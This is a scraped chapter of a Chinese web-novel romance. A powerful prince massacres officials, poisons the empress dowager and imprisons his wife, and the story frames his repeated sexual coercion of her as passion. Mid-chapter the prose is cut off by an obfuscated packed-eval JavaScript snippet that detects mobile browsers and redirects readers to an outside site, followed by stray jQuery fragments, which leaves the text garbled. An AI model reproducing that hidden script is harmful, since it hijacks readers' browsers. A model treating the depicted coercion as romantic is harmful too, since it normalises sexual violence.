60. 杀戮

作品:《是权奸也是宠妃!

    天幕漆黑一片,经历过一场暴动的街道甚是安静,只有军队巡逻的脚步声在街巷回荡。


    一帘之隔的马车没有隔音效果,两人在里面发出一点动静都格外明显。


    “把人放了。”在这样的压迫感之下,崔白玉慌了神,身上也没了那股子冷冽傲气,抓住了赵丞的袖子,“赵丞。”


    “谁让你直呼我的名讳?”赵丞回应里有几分冷嘲的意味,手却揽上崔白玉的腰身,一把将人拽过来,“宸王妃就能这么放肆?”


    崔白玉坐在他的大腿上,浑身的鸡皮疙瘩与寒毛都立起来了,“你放开我!”


    “你现在有什么资格跟我提条件?”赵丞望着她狼狈不堪的模样,眸色晦涩难辨,逼得更近,似乎要将她拆穿入腹,“如果我按照的你的计划回来,你现在是不是已经一走了之了?”


    这样的姿势让崔白玉有些吃力,可她又敌不过赵丞的力道,尽量放缓了呼吸声,“我不会离开,也没有想过一走了之。”


    “那为什么不告诉我?觉得我很好欺负?”赵丞声线喑哑又迫人地问,手掌按住了她的后脑勺靠向自己,“回话。”


    两人挨得极尽,几乎是鼻尖抵着鼻尖,崔白玉咬牙不愿回答,渐渐地,无声的压迫感将一切覆没。


    腰间的绦带被扯断,衣衫半解,露出里面单薄亵衣。


    崔白玉心跳倏然漏了一拍,想到马车两旁还跟着一支军队,眼底起了雾,转过脸去,“你先把那些人放了。”


    “居然从你嘴里听到这么荒唐的话,你觉得可能吗?”赵丞抱着人,眼中的暗色一瞬间汹涌,咬住她的唇瓣厮咬,好似一只要噬人的野兽。


    热烫的温度不断渗进身体,崔白玉不知道对方的心性已经彻底癫狂,更没未意识到问题的严重性。


    少年人的身躯灼热,崔白玉被吻过的每一处如火烧似的在发烫,很快头发被汗浸湿了,温润的脸庞染上情欲,几番挣扎,没了力气,靠在赵丞身上狠狠咬住他的肩头骂人,“........王八蛋。”


    赵丞鼻尖都是崔白玉的味道。


    她喜欢熏香,每次靠近她的时候,味道都不一样。


    在崔府的时候是清冽的檀香,而三年后重逢是柔和的雪松香,这次是龙涎香。


    他贪恋崔白玉身上独有的气味,可这次回想起以往桩桩件件都让他忍不住心中发寒,昳丽的面容多了几分阴鸷。


    不能让她离开。


    崔白玉还没有回过神来,像一只温软无害的兔子趴在他身上,赵丞喉结上下滚动,一次之后还是没有放过她,可崔白玉的体力从来没有跟得上过,单薄而精致的蝴蝶骨突出来,赵丞抚摸了一遍又一遍,同时也进到最深处,抬起她的下巴低头吻上去,将那些漫溢出唇边的呻吟堵了回去。


    第二日清晨。


    赵丞去了一趟皇宫。


    齐嬛一直被禁足在坤宁宫,每日只有一个老太监过来送饭。


    也许是没能继续保养,她容颜比之前老了十岁不止,见到赵丞脸上露出诧异,嘴唇剧烈地抖了一下。


    赵丞漠然道:“没想到,她居然还让你活着。”


    “是啊,哀家还活着,”齐嬛嘴唇微微翘了起来,有些扭曲的快意表情,“她不敢杀我,朝廷不能没有齐家。”


    赵丞面无表情地看了一眼周围的情况。


    齐嬛端着茶碗沉吟片刻,抬起头眸色阴沉地盯着他,“说起来,哀家在你小时候还抱过你,你的眼睛像极了陛下。”


    赵丞没有说话。


    “你知道哪里像吗?”殿内陷入一阵诡异的沉默,见他不答,齐嬛笑了一声,继续说道,“你们两人的眼睛比冬日的寒冰都冷,一点人情味儿都没有。”


    赵丞脸上仍是没什么表情。


    齐嬛撑着案几站起身,脸上笑意更甚,“哀家不止一次想过,崔白玉为什么要嫁给你,无论是兵权还是你王爷的身份,她都稳赚不赔,可问题是她能不能掌控你,如果能,她登上那个位子指日可待,但不能,她就是第二个祁一凝,王爷觉得她现在是前者还是后者?”


    赵丞道:“你不了解她。”


    崔白玉的心思根本不在这,甚至不在这个世界,她只想回去。


    这里的一切她都可以轻易割舍。


    说了半天,提到崔白玉才吭了一声,齐嬛目光在他脸上扫了一圈,不禁对自己的判断产生了怀疑,“怎么,王爷被利用这么多次,还渴望她的一丝真情?”


    这话显然点了赵丞的火气,脸色阴沉下来。


    齐嬛心中骤然一抽,意识到严重性了,不由得脸色微变,然后就听到他说:“王妃放过你们,可本王没有这个打算。”


    她反应过来,厉声道:“你敢!如今这个局面对齐家动手,你是想天下打乱么?”


    话音未落,玄甲军端着托盘进来,将小酒杯稳稳放在齐嬛面前。


    赵丞一脸漠然道:“很快,齐家的人就回下去陪你。”


    齐嬛不由地轰然出了一身冷汗,后退一步,难以置信地看着他,继而脸上的表情变得愈发狰狞,“北狄虎视眈眈,已然是要大举入侵,这时候中原要是乱了,赵家百年基业都会毁于一旦!你想亡了夏朝吗?”


    “亡朝?”亡朝崔瑜这辈子就回不去了,赵丞怎么会不愿意。


    齐嬛端过杯子,看了很久,沉声道:“赵家列祖列宗的英魂都在天上看着你,这次就算大夏侥幸逃过一劫,经过战乱,没有十年以上的太平日子不能够恢复元气,赵丞你是千古罪人!战争是伏尸百万,流血漂橹,那些人的冤魂会和你纠缠一辈子,让你永世不得安生!”


    “本王不在乎。”赵丞丢下这句话,转身离开大殿,没有半点犹豫。


    等到了下午,皇城的午门外已是血流成河,尸体扔在角落堆积成了小山,负责行刑的刽子手都换了一批又一批,宸王亲自监斩。


    朝廷的文武百官和齐家牵扯过深的皆送去了刑场。


    一时间,皇城内人人自危,皆躲在家中跪天跪地祈祷能逃过一劫。


    徐海月听闻消息,两眼一黑,直接就晕了过去。


    冯靖也没料到这个局面,思来想去,穿上官服匆匆去了宸王府,奈何赵丞早就下了死命令,谁都不能见王妃。


    他不见,徐净空和曹兵自然不也能。


    这无疑是已经是把人囚禁起来了。


    祁晏临去了行宫,见到孝元帝鼻子莫名有些发酸,昔日并肩作战的君臣终是见上了一面。


    赵丞回京屠戮百官的消息孝元帝尚且不知,这事儿是周正德自作主张,他担心陛下身体扛不住,便没有让人透露风声。


    只是,孝元帝何其精明的一个人,京城的任何风吹草动根本逃不过他的眼睛。


    他道:“今日之事,朕也难辞其咎........”


    崔白玉费尽心思和齐道晟相互掣肘,为的就是等北狄退兵再动手,可现在赵丞率先拿他们开刀,齐道晟在中原的旧部必然会举兵起事。祁晏临俯首屏息,诚惶诚恐,“陛下,宸王,宸王........实在过于危险了。”


    孝元帝竭力保持镇定,不由得问道:“还有何事?”


    祁晏临强忍着眼泪,回答道:“老臣与王爷一同前往商洛山麾兵围剿敌军,设三伏以待贼,经一夜奋战,擒拿术赤,宸王却亲手将人割了头颅.......剩下的人也都杀了。”


    孝元帝陷入了沉默,良久,开口问道:“崔白玉呢?”


    如今能挽回这个局面的,只怕唯有她一人了。


    祁晏临犹豫片刻,迟疑道:“陛下觉得此人可信?”


    “事已至此,是要解决问题,”孝元帝脸色变得异常苍白,看上去十分憔悴,“丞儿带了多少兵马回来?”


    祁晏临脸色白中透青,如实道:“三万,已经彻底控制了京城。”


    “三万,三万人,”孝元帝靠在身后的软垫,默默叹了口气,随即垂下眼睑,“此时,他应该是不想见朕的,拿纸笔来。”


    周正德听了吩咐,将准备好的笔墨纸砚摆放在他面前。


    孝元帝提笔写下几行文字,搁下笔,深深呼吸一口清冽的寒气,目光变得恍恍惚惚,“都下去吧,朕乏了。”


    圣旨上面虽然没有玉玺盖印,但赵丞这会儿应该已经从齐嬛那里找到了。


    周正德会意,上前接过,跟着祁晏临一同离开,准备去趟宸王府。


    可他拿着圣旨,站在廊下兀自头晕目眩腿脚发软。


    听了那些那些事,赵丞根本就是疯了,一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655690|170231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疯了的暴君,谁敢招惹?


    另一厢,崔白玉迷迷糊糊地醒来,发现头疼的厉害,过了好半天才坐起身子。


    衣服松松垮垮地披在身上,玄色的腰带将她的腰衬得很细,稍微一有动作,便暴露出肌肤上处处红点咬痕吻痕。


    侍女不敢抬头,将准备好的衣服放置一旁就退到了珠帘后面。


    崔白玉站起身,揉了揉酸痛的腰,眼里有几分讶然。


    这些侍女,她好像从未见过。


    赵丞把人都换了?


    崔白玉一头雾水,隐约感觉事情的苗头不太对,披了件衣服就朝着屋外走去。


    侍女上前拦住她,恭敬道:“王妃,晚饭已经准备好了。”


    崔白玉注意到她走路无声,下意识眯了下眼,站在原地就这么静静地看着她们。


    正僵持着,赵丞进了屋子。


    侍女见状,纷纷行礼,“王爷。”


    崔白玉做了几个深呼吸安定下来,转头看着他,问道:“什么意思?”


    赵丞道:“过来用饭。”


    崔白玉站在原地没有动,气息有一瞬间的不稳,“囚禁?”


    赵丞面容隐藏在阴影里,尚且看不分明,周身隐晦地散发出阴冷的气息,只是耐着性子,重复了一遍方才的话。


    两人四目相对,崔白玉的眼睫毛颤了颤,“离开的事我可以解释,没有提前告诉你是我的错,我和你保证,我不会离开。”


    赵丞面容冷若冰霜,目光却深沉又执拗,“你的保证没有任何可信度。”


    崔白玉差点儿咬碎牙齿,气道:“那你就能限制我的人身自由?”


    赵丞没有说话,转过身,不紧不慢地脱了身上的外袍搭在架子上。


    崔白玉朝他走过去,一把抓着他的手腕,挡在他面前,几乎是用命令的语气,问道:“那药呢?”


    赵丞漠然道:“为什么吃药?”


    崔白玉的心一沉再沉,望着他波澜不惊的神色,无措又迷茫。


    没有孩子,就可以没有负担的离开,赵丞愈发笃定她的想法,眼神深不见底,语调低沉又缓慢,“我需要一个孩子。”


    听他用这么平淡的语气说出口,崔白玉目光一震,恍若雷劈,茫然于不知道发生了什么。


    两人隔着几步的距离互相凝视,明明伸手就能碰触到对方,却无论如何都走不到一起。


    崔白玉懵了片刻,压抑多日的情绪终于爆发,奋力推开他,“赵丞,我说我不想!”


    “你说不想就不想?”赵丞脖颈上青筋凸起,胸口剧烈地起伏着,死死地盯着她的眼睛,像是在努力隐忍,“作为王妃,你难道不该给本王生个孩子?”


    “你他妈想要孩子就去找别人!”崔白玉从未想过赵丞会对她说出这番话,作势要离开。


    赵丞突然抓住崔白玉的肩膀一拽,低下头用力地咬住她的嘴唇,贪婪地索要着属于她的气息。


    崔白玉奋力挣脱不开,气得身子都发颤,扬手就抽了他一巴掌。


    一时间,屋里的侍女意识到发生了什么,跪了一地。


    谁能想到,那个凶狠残暴的宸王白天在午门杀人不眨眼,晚上却当着这么多人的面挨了一个响亮的耳光。


    崔白玉也没想到自己会打到他,刹那间痛得心如刀割,慌乱地看了一眼自己的手,便立即收了回来。


    “你打我?”一阵难堪地疼痛,赵丞目光令人不寒而栗,低下头,良久,露出一个诡异的笑。


    从小到大,他受过无数的伤,无论是在鬼市斗兽场的垂死挣扎,还是北境战场命悬一线,都不及这一巴掌来的痛。


    他从没想过有朝一日会将一个人放在心里,会遭到这般对待,甚至以换不来一丝真心。


    赵丞强迫自己静下心来,但根本无济于事,脸上的肌肉因为愤怒而变得有些扭曲。


    “我........我没,”崔白玉还没反应过来,就被一个横抱扔在床上,高大结实的身体压了上来。


    赵丞眼中拉满了血丝,眼底全是绝望,俯身在崔白玉耳边咬着字说,“什么时候能怀上孩子,什么时候放你离开房间。”


    崔白玉整个人被压制得死死的,咬住牙,太过羞恼惊惧全然没了气势,“你就是疯了!”